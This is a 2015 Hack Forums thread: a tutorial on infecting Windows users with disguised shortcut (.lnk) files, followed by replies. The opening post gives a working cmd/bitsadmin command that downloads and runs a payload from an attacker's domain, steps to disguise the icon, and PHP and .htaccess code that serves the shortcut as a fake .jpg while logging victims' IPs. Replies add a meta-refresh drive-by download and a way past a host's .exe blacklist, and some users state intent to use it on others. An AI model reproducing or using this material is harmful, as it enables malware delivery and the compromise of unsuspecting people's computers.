Hack Forums
[Tutorial] Infect people via .lnk files (Windows shortcuts) - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [Tutorial] Infect people via .lnk files (Windows shortcuts) (/showthread.php?tid=4729052)

Pages: Pages 1 2

[Tutorial] Infect people via .lnk files (Windows shortcuts) - Yoshikage Kira - Mar 13, 2015

I accidently junked the last thread(thought it was a different thread).
Anyways, first we'll create a new shortcut.
[Image: VyqDW3C.png]
When it asks for the location of the item, put this:
Code
C:\Windows\System32\cmd.exe /c bitsadmin /transfer /download /priority HIGH http://domain/file %temp%\\m.file>nul & start %temp%\\m.file
replace http://domain/file with the download link of your file(make sure you use a short domain/filename).
After you create it, it'll look like this:
[Image: 57krq12.png]
the icon looks very suspicious, right?
So we'll change the icon(go to properties of the file):
[Image: Z45e7Zl.png]
click browse and input SHELL32.dll:
[Image: 6qzb5EA.png]
then select the icon you want and save the changes by clicking ok->Apply.
Now it'll look like:
[Image: hkmq8r0.png]

.htaccess file:
Code
RewriteEngine on
RewriteRule q01Vukz.jpg dl.php
dl.php:
Code
<?php
$fp = fopen("log.html", "a+");
fwrite($fp, htmlspecialchars($_SERVER['HTTP_USER_AGENT']));
fwrite($fp, "<br>");
fwrite($fp, $_SERVER['REMOTE_ADDR']);
fwrite($fp, "<br>______<br>");
fclose($fp);

if (strpos($_SERVER['HTTP_USER_AGENT'], 'Windows NT') === false)
{
die('This image can only be viewed on a Windows computer.');
}

$filename = pathinfo($_SERVER['REQUEST_URI'], PATHINFO_FILENAME);
$extention = pathinfo($_SERVER['REQUEST_URI'], PATHINFO_EXTENSION);
if (strpos($extention, "jpg") === false) die('bad boy');
function getbrowser()
{
if (strpos($_SERVER['HTTP_USER_AGENT'], 'Chrome') !== false) return "Chrome";
if (strpos($_SERVER['HTTP_USER_AGENT'], 'Firefox') !== false) return "Firefox";
if (strpos($_SERVER['HTTP_USER_AGENT'], 'Safari') !== false) return "Safari";
if (strpos($_SERVER['HTTP_USER_AGENT'], 'Trident') !== false) return "IE";
if (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false) return "IE";
if (strpos($_SERVER['HTTP_USER_AGENT'], 'YaBrowser') !== false) return "Yandex";
if (strpos($_SERVER['HTTP_USER_AGENT'], 'Opera') !== false) return "Opera";
return "Unknown";
}
$browser = getbrowser();

if ($browser == "Chrome" || $browser == "Opera"|| $browser == "Yandex")
{
$filename .= '.zip';
header("Content-Transfer-Encoding: Binary");
header("Content-disposition:attachment;filename=$filename");
readfile($filename);
}
else if ($browser == "Firefox" || $browser == "IE" || $browser == "Safari")
{
$filename = pathinfo($_SERVER['REQUEST_URI'], PATHINFO_BASENAME) . '.lnk';
header("Content-Transfer-Encoding: Binary");
header("Content-disposition:attachment;filename=$filename");
readfile($filename);
}
else
echo 'Error: Image cannot be displayed as you\'re not on Windows or this is a browser which is not yet supported(please try Chrome).';
?>
then just upload rename your shortcut to q01Vukz.jpg and zip it and name the zipped file: q01Vukz.zip

* - Living End - Mar 13, 2015

How would i get a short direct dl link?

* - Yoshikage Kira - Mar 13, 2015

(Mar 13, 2015 04:57 PM)Living End Wrote:  How would i get a short direct dl link?

I upload my files onto hostinger.ph, though they blacklist .exe extention the files aren't removed, so you can bypass the blacklist by using a script(or you can rename the extention to .eXe or .Exe).

* - Fortnite - Mar 14, 2015

(Mar 13, 2015 05:17 PM)Greed‎ Wrote:  I upload my files onto hostinger.ph, though they blacklist .exe extention the files aren't removed, so you can bypass the blacklist by using a script(or you can rename the extention to .eXe or .Exe).

Thanks for this tutorial looks a little complicated for me but thanks :) I prefer video tutorials.. Im sure you would get lots of views if you did one..

* - BlackHoax - Mar 14, 2015

Gonna post here so I remember to look at this when I get on my PC thanks!

* - ale12386 - Mar 14, 2015

Nice tut OP! Will reed to do this to someone... :)

* - Alison Wonderland - Mar 14, 2015

Bookmarked for later
Looks very useful in many ways

* - SirKingSir - Mar 14, 2015

this not working for me!

after done everything above when i visit my domain its showing error !

and the php file when i open it nothing happened just text "bad boy"

this a joke or what?

* - Yoshikage Kira - Mar 14, 2015

(Mar 14, 2015 12:46 PM)SirKingSir Wrote:  this not working for me!

after done everything above when i visit my domain its showing error !

and the php file when i open it nothing happened just text "bad boy"

this a joke or what?

You don't visit the url/script.php you visit the url/q01Vukz.jpg 🤣

* - SirKingSir - Mar 14, 2015

wow! yeah my fault thanks sir

anyway to do a PHP script which can view a real picture and download the zip file in the same time?

* - Yoshikage Kira - Mar 14, 2015

(Mar 14, 2015 01:32 PM)SirKingSir Wrote:  wow! yeah my fault thanks sir

anyway to do a PHP script which can view a real picture and download the zip file in the same time?
No need for a script, just use a html document.
Code
<img src="http://image/">
<meta http-equiv="refresh" content="1;URL=http://domain/downloader.php" />
an example of this would be: http://wthax.eu/wlheNAx.png
(this downloads avatar.gif to the user & displays an image)

* - SirKingSir - Mar 14, 2015

sorry for my stupid question but i don't know a lot about PHP and HTML

to done what you mentioned above

where i must put this html doc?what must i name the file?

should i edit on the PHP (dl.php) code?

* - Yoshikage Kira - Mar 14, 2015

(Mar 14, 2015 01:59 PM)SirKingSir Wrote:  sorry for my stupid question but i don't know a lot about PHP and HTML

to done what you mentioned above

where i must put this html doc?what must i name the file?

should i edit on the PHP (dl.php) code?

1)name the html document trx.html.
2)You do not need to edit the dl.php code, just edit the trx.html file(
Code
URL=http://domain/downloader.php
to
Code
URL=http://domain/q01Vukz.jpg
and change the image).
in .htaccess add:
Code
RewriteRule wlheNAx.png trx.html


* - SirKingSir - Mar 14, 2015

done successfully very HQ method ......!!! THANKS

* - Wireless Network - Mar 15, 2015

Should be useful for me, going to test it soon. Thanks for share!